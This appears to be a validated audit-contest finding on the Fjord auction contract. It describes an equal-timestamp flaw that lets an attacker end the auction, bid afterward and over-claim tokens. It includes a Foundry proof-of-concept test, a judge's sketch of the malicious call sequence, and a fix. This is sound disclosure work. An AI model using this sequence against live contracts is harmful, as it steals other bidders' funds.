Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

User can claim more tokens than intended whilst preventing others from claiming

0xlight

Summary

It is possible for users to bid and unbid within the same block that the auction ends. If an attacker deposits points after the auction has ended, the tokens will be distributed incorrectly, benefiting the attacker and preventing others from claiming their share of the tokens.

Vulnerability Details

The bid and unbid functions check if block.timestamp > auctionEndTime, while the auctionEnd function checks if block.timestamp < auctionEndTime. In cases where block.timestamp is equal to auctionEndTime, both checks are ignored, allowing these functions to be executed in any order.

Suppose an attacker ends the auction when block.timestamp is exactly auctionEndTime and places a bid immediately afterward. Because the auction has already ended, the tokens to points ratio (multiplier) cannot be updated anymore. When the attacker then calls claimTokens , the old multiplier is used along with the new userBid. This allows the attacker to claim more tokens than intended and blocks other users from claiming because the contract no longer holds sufficient tokens.

Proof of Concept

The following PoC demonstrates a scenario where one user block others from claiming tokens by depositing points without effecting the multiplier variable.

// test/unit/auction.t.sol
function testBidAfterAuctionEnd() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
deal(address(fjordPoints), alice, 800 ether);
deal(address(fjordPoints), bob, 200 ether);
​
assertEq(auctionToken.balanceOf(address(auction)), 1000 ether);
​
// alice deposits 800 points
vm.startPrank(alice);
fjordPoints.approve(address(auction), 800 ether);
auction.bid(800 ether);
vm.stopPrank();
​
vm.warp(auction.auctionEndTime());
​
// bob ends the auction and deposits 200 points
vm.startPrank(bob);
​
// token to point ratio is 10:8
auction.auctionEnd();
​
// deposit doesn't affect the token to point ratio
fjordPoints.approve(address(auction), 200 ether);
auction.bid(200 ether);
​
vm.stopPrank();
​
// The token to point ratio is still 10:8
// even though it should have been 1:1 after bob's deposit
assertEq(auction.multiplier(), 1.25e18);
​
// bob receives 250 tokens
vm.prank(bob);
auction.claimTokens();
​
// alice should have received 1000 tokens
// but doesn't because the auction doesn't hold enough tokens
vm.expectRevert();
vm.prank(alice);
auction.claimTokens();
}
​

Impact

One user receives more tokens than intended, while others are potentially blocked from claiming their share.

Tools Used

Manual Review, Foundry

Recommendations

Disable ending the auction while adding and removing bids is still allowed by simply reverting auctionEnd when the current block timestamp is less than or equal to auctionEndTime:

function auctionEnd() external {
- if (block.timestamp < auctionEndTime) {
+ if (block.timestamp <= auctionEndTime) {
revert AuctionNotYetEnded();
}
...
}
​

Alternatively, you can adjust the comparison operators in bid() and unbid() or check the ended variable in these functions.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.